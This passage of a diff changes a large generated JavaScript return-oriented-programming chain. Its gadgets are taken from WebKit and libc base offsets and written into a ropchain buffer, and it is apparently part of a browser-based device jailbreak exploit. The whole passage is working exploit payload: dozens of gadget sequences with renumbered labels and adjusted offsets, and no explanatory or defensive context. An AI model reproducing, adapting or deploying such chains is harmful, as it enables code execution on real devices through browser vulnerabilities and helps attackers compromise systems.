-ropchain+147256, //L2081 +ropchain+147216, //L2081 webkit_base+7438103, //mov [rsi], rax webkit_base+432898 //pop r8 ]); @@ -13897,10 +13892,10 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+147368, //L2082 +ropchain+147328, //L2082 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+147352, //L2083 +ropchain+147312, //L2083 webkit_base+7438103, //mov [rsi], rax libc_base+788575 //pop rax ]); @@ -13911,11 +13906,11 @@ set_gadget(libc_base+811575,); //pop rsp db([0, 0]); // 0x0 set_gadgets([ libc_base+793877, //pop rsi -ropchain+147456, //L2085 +ropchain+147416, //L2085 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+147440, //L2084 +ropchain+147400, //L2084 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); @@ -13932,10 +13927,10 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+147552, //L2086 +ropchain+147512, //L2086 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+147568, //L2087 +ropchain+147528, //L2087 webkit_base+7438103, //mov [rsi], rax webkit_base+432898 //pop r8 ]); @@ -13952,10 +13947,10 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+147680, //L2088 +ropchain+147640, //L2088 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+147664, //L2089 +ropchain+147624, //L2089 webkit_base+7438103, //mov [rsi], rax libc_base+788575 //pop rax ]); @@ -13970,7 +13965,7 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+147752, //L2091 +ropchain+147712, //L2091 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 webkit_base+432898 //pop r8 @@ -13981,53 +13976,53 @@ set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+147816, //L2093 +ropchain+147776, //L2094 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 webkit_base+432898 //pop r8 ]); -//L2093: +//L2094: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi -db([24, 0]); // 0x18 +db([16, 0]); // 0x10 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+147920, //L2095 +ropchain+147896, //L2095 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+147952, //L2096 +ropchain+147880, //L2096 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); +//L2096: +db([0, 0]); // 0x0 +set_gadget(libc_base+792472,); //pop rcx //L2095: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2094: -db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L2096: +//L2097: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2097: +//L2098: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+148064, //L2099 +ropchain+148024, //L2100 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+148048, //L2098 +ropchain+148008, //L2099 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L2098: +//L2099: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2099: +//L2100: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -14036,7 +14031,7 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575 //pop rax ]); -//L2100: +//L2101: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -14045,10 +14040,10 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+792472 //pop rcx ]); -//L2101: +//L2102: db([1, 0]); // 0x1 set_gadget(libc_base+788575,); //pop rax -//L2102: +//L2103: db([1, 0]); // 0x1 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -14066,7 +14061,7 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575 //pop rax ]); -//L2103: +//L2104: db([1, 0]); // 0x1 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -14076,12 +14071,12 @@ libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2104: +//L2105: db([4096, 0]); // 0x1000 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+148376, //L2107 +ropchain+148336, //L2107 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -14101,7 +14096,7 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575 //pop rax ]); -//L2108: +//L2109: db([1, 0]); // 0x1 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -14111,12 +14106,12 @@ libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2109: +//L2110: db([2, 0]); // 0x2 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+148568, //L2112 +ropchain+148528, //L2112 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -14136,33 +14131,33 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+148680, //L2114 +ropchain+148640, //L2114 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); //L2114: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2113: -db([65536, 0]); // 0x10000 -set_gadget(libc_base+206806,); //pop rdi //L2115: -db([65536, 0]); // 0x10000 +db([20480, 0]); // 0x5000 +set_gadget(libc_base+206806,); //pop rdi +//L2116: +db([20480, 0]); // 0x5000 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+148808, //L2117 +ropchain+148768, //L2118 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+148792, //L2116 +ropchain+148752, //L2117 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L2116: +//L2117: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2117: +//L2118: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -14171,7 +14166,7 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575 //pop rax ]); -//L2118: +//L2119: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -14179,8 +14174,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575, //pop rax -//L2120: -ropchain+148960, //L2119 +//L2121: +ropchain+148920, //L2120 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -14188,8 +14183,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+811575, //pop rsp -ropchain+158952, //L2121 -//L2119: +ropchain+157184, //L2122 +//L2120: libc_base+882884, //mov rax, rcx libc_base+793877 //pop rsi ]); @@ -14202,17 +14197,17 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+149056, //L2122 +ropchain+149016, //L2123 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2122: +//L2123: db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+149112, //L2125 +ropchain+149072, //L2125 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -14226,11 +14221,11 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+792472 //pop rcx ]); -//L2126: -db([65536, 0]); // 0x10000 -set_gadget(libc_base+788575,); //pop rax //L2127: -db([65536, 0]); // 0x10000 +db([20480, 0]); // 0x5000 +set_gadget(libc_base+788575,); //pop rax +//L2128: +db([20480, 0]); // 0x5000 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877 //pop rsi @@ -14240,17 +14235,17 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+1838146, //add rax, rcx libc_base+793877, //pop rsi -ropchain+149264, //L2128 +ropchain+149224, //L2129 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2128: +//L2129: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+149320, //L2131 +ropchain+149280, //L2131 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -14262,96 +14257,75 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+149408, //L2134 +ropchain+149352, //L2133 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L2132: -db([4294967288, 4294967295]); // -0x8 -set_gadget(libc_base+792472,); //pop rcx -//L2134: +//L2133: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L2134: +db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+2997875, //mov [rax], rcx -libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi -]); -//L2135: -db([4294967284, 4294967295]); // -0xc -set_gadget(libc_base+792472,); //pop rcx -//L2137: -db([312, 0]); // 0x138 -set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+954100, //mov [rax], ecx -libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi -]); -//L2138: -db([4294967284, 4294967295]); // -0xc -set_gadgets([ -libc_base+547636, //add rax, rsi -libc_base+793877, //pop rsi -ropchain+149608, //L2142 -webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+149592, //L2141 +ropchain+149440, //L2136 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2141: -db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L2142: +//L2136: db([0, 0]); // 0x0 set_gadgets([ +libc_base+206806, //pop rdi +//L2138: +ropchain+397560, //L2090 libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+149776, //L2145 +ropchain+149624, //L2141 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+149792, //L2146 +ropchain+149640, //L2142 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+149744, //L2143 +ropchain+149608, //L2139 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+149760, //L2144 +ropchain+149592, //L2140 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2143: +//L2140: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2144: +//L2139: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2145: +//L2141: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2146: +//L2142: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+149888, //L2148 +ropchain+149736, //L2144 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+149872, //L2147 +ropchain+149720, //L2143 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L2147: +//L2143: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2148: +//L2144: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -14360,10 +14334,10 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+792472 //pop rcx ]); -//L2149: +//L2145: db([1, 0]); // 0x1 set_gadget(libc_base+788575,); //pop rax -//L2150: +//L2146: db([1, 0]); // 0x1 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -14374,114 +14348,104 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+877175, //sub rax, rcx ; sbb rdx, rcx libc_base+793877, //pop rsi -ropchain+150104, //L2152 +ropchain+149952, //L2148 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+150120, //L2153 +ropchain+149968, //L2149 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+150088, //L2151 +ropchain+149936, //L2147 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2151: +//L2147: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2152: +//L2148: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2153: +//L2149: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+150224, //L2156 +ropchain+150048, //L2150 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+150240, //L2157 +ropchain+150080, //L2152 webkit_base+7438103, //mov [rsi], rax -libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L2154: -db([4294967284, 4294967295]); // -0xc -set_gadget(libc_base+792472,); //pop rcx -//L2156: -db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L2157: +//L2150: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+954100, //mov [rax], ecx -libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+788575, //pop rax +//L2151: +ropchain+397560, //L2090 +libc_base+206806 //pop rdi ]); -//L2158: -db([4294967284, 4294967295]); // -0xc +//L2152: +db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -libc_base+793877, //pop rsi -ropchain+150384, //L2162 -webkit_base+7438103, //mov [rsi], rax +webkit_base+954100, //mov [rax], ecx libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+150368, //L2161 +ropchain+150144, //L2153 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2161: -db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L2162: +//L2153: db([0, 0]); // 0x0 set_gadgets([ +libc_base+206806, //pop rdi +//L2155: +ropchain+397560, //L2090 libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+150552, //L2165 +ropchain+150328, //L2158 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+150568, //L2166 +ropchain+150344, //L2159 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+150520, //L2163 +ropchain+150312, //L2156 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+150536, //L2164 +ropchain+150296, //L2157 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2163: +//L2157: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2164: +//L2156: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2165: +//L2158: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2166: +//L2159: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+150664, //L2168 +ropchain+150440, //L2161 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+150648, //L2167 +ropchain+150424, //L2160 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L2167: +//L2160: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2168: +//L2161: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -14491,17 +14455,17 @@ libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2169: +//L2162: db([15, 0]); // 0xf set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+150776, //L2172 +ropchain+150552, //L2164 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2172: +//L2164: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -14509,114 +14473,104 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+75236, //or rax, rcx libc_base+793877, //pop rsi -ropchain+150920, //L2174 +ropchain+150696, //L2167 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+150936, //L2175 +ropchain+150712, //L2168 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+150904, //L2173 +ropchain+150680, //L2166 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2173: +//L2166: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2174: +//L2167: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2175: +//L2168: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+151040, //L2178 +ropchain+150792, //L2169 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+151056, //L2179 +ropchain+150824, //L2171 webkit_base+7438103, //mov [rsi], rax -libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L2176: -db([4294967284, 4294967295]); // -0xc -set_gadget(libc_base+792472,); //pop rcx -//L2178: -db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L2179: +//L2169: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+954100, //mov [rax], ecx -libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+788575, //pop rax +//L2170: +ropchain+397560, //L2090 +libc_base+206806 //pop rdi ]); -//L2180: -db([4294967284, 4294967295]); // -0xc +//L2171: +db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -libc_base+793877, //pop rsi -ropchain+151200, //L2184 -webkit_base+7438103, //mov [rsi], rax +webkit_base+954100, //mov [rax], ecx libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+151184, //L2183 +ropchain+150888, //L2172 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2183: -db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L2184: +//L2172: db([0, 0]); // 0x0 set_gadgets([ +libc_base+206806, //pop rdi +//L2174: +ropchain+397560, //L2090 libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+151368, //L2187 +ropchain+151072, //L2177 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+151384, //L2188 +ropchain+151088, //L2178 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+151336, //L2185 +ropchain+151056, //L2175 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+151352, //L2186 +ropchain+151040, //L2176 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2185: +//L2176: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2186: +//L2175: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2187: +//L2177: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2188: +//L2178: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+151480, //L2190 +ropchain+151184, //L2180 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+151464, //L2189 +ropchain+151168, //L2179 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L2189: +//L2179: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2190: +//L2180: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -14625,10 +14579,10 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+792472 //pop rcx ]); -//L2191: +//L2181: db([1, 0]); // 0x1 set_gadget(libc_base+788575,); //pop rax -//L2192: +//L2182: db([1, 0]); // 0x1 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -14639,117 +14593,117 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+1838146, //add rax, rcx libc_base+793877, //pop rsi -ropchain+151696, //L2194 +ropchain+151400, //L2184 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+151712, //L2195 +ropchain+151416, //L2185 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+151680, //L2193 +ropchain+151384, //L2183 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2193: +//L2183: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2194: +//L2184: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2195: +//L2185: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+151816, //L2198 +ropchain+151496, //L2186 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+151832, //L2199 +ropchain+151528, //L2188 webkit_base+7438103, //mov [rsi], rax -libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L2196: -db([4294967284, 4294967295]); // -0xc -set_gadget(libc_base+792472,); //pop rcx -//L2198: +//L2186: db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L2199: +set_gadgets([ +libc_base+788575, //pop rax +//L2187: +ropchain+397560, //L2090 +libc_base+206806 //pop rdi +]); +//L2188: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi webkit_base+954100, //mov [rax], ecx libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L2200: -db([4294967288, 4294967295]); // -0x8 -set_gadget(libc_base+792472,); //pop rcx -//L2202: +//L2189: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L2190: +db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+151992, //L2205 +ropchain+151680, //L2194 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+151976, //L2204 +ropchain+151664, //L2192 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2204: +//L2192: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2205: +//L2194: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+152136, //L2208 +ropchain+151824, //L2197 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+152104, //L2206 +ropchain+151792, //L2195 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+152120, //L2207 +ropchain+151808, //L2196 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L2206: +//L2195: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2207: +//L2196: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2208: +//L2197: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+152208, //L2209 +ropchain+151896, //L2198 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2209: +//L2198: db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+152264, //L2212 +ropchain+151952, //L2200 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2212: +//L2200: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -14757,83 +14711,74 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+152360, //L2215 -webkit_base+7438103, //mov [rsi], rax -libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi -]); -//L2213: -db([4294967284, 4294967295]); // -0xc -set_gadget(libc_base+792472,); //pop rcx -//L2215: -db([0, 0]); // 0x0 -set_gadgets([ -libc_base+547636, //add rax, rsi -libc_base+793877, //pop rsi -ropchain+152464, //L2218 +ropchain+152088, //L2204 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+152448, //L2217 +ropchain+152056, //L2202 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2217: +//L2202: db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L2218: +set_gadgets([ +libc_base+206806, //pop rdi +//L2203: +ropchain+397560, //L2090 +libc_base+788575 //pop rax +]); +//L2204: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+152632, //L2221 +ropchain+152256, //L2207 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+152648, //L2222 +ropchain+152272, //L2208 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+152600, //L2219 +ropchain+152240, //L2205 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+152616, //L2220 +ropchain+152224, //L2206 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2219: +//L2206: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2220: +//L2205: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2221: +//L2207: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2222: +//L2208: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+152752, //L2223 +ropchain+152376, //L2209 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+152784, //L2225 +ropchain+152408, //L2211 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+152768, //L2224 +ropchain+152392, //L2210 